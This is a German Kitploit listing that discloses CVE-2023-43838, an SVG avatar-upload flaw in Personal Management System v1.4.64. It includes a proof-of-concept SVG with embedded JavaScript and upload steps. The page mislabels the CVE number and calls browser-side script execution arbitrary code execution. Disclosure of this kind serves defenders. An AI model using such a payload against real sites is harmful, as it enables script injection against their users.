Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-43838 — Öffentliche Offenlegung für CVE-2023-31584. | Kitploit
Tools/GitHubGitHub/rootd4ddy/cve-2023-43838
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubrootd4ddy/cve-2023-43838

CVE-2023-43838

Öffentliche Offenlegung für CVE-2023-31584.

Repository anzeigen
1vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-43838

Eine Schwachstelle beim Hochladen beliebiger Dateien im Personal Management System v1.4.64 ermöglicht es Angreifern, beliebigen Code auszuführen, indem sie eine manipulierte SVG-Datei in das Avatar-Bild eines Benutzerprofils hochladen.

[Zusätzliche Informationen] 1.) Erstellen Sie alert.svg mit dem folgenden Inhalt:

root@kitploit:~
 <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
    <script type="text/javascript">
       alert("huntr.dev");
    </script>
 </svg>

2.) Hosten Sie die .SVG-Datei auf einem Webserver.

3.) Laden Sie die .SVG-Datei als Avatar-Bild hoch. 4.) Wenn ein Benutzer das Avatar in einem separaten Tab öffnet, wird das in der .SVG-Datei gespeicherte JavaScript ausgeführt.

Referenzen: https://github.com/Volmarg/personal-management-system

Tool herunterladen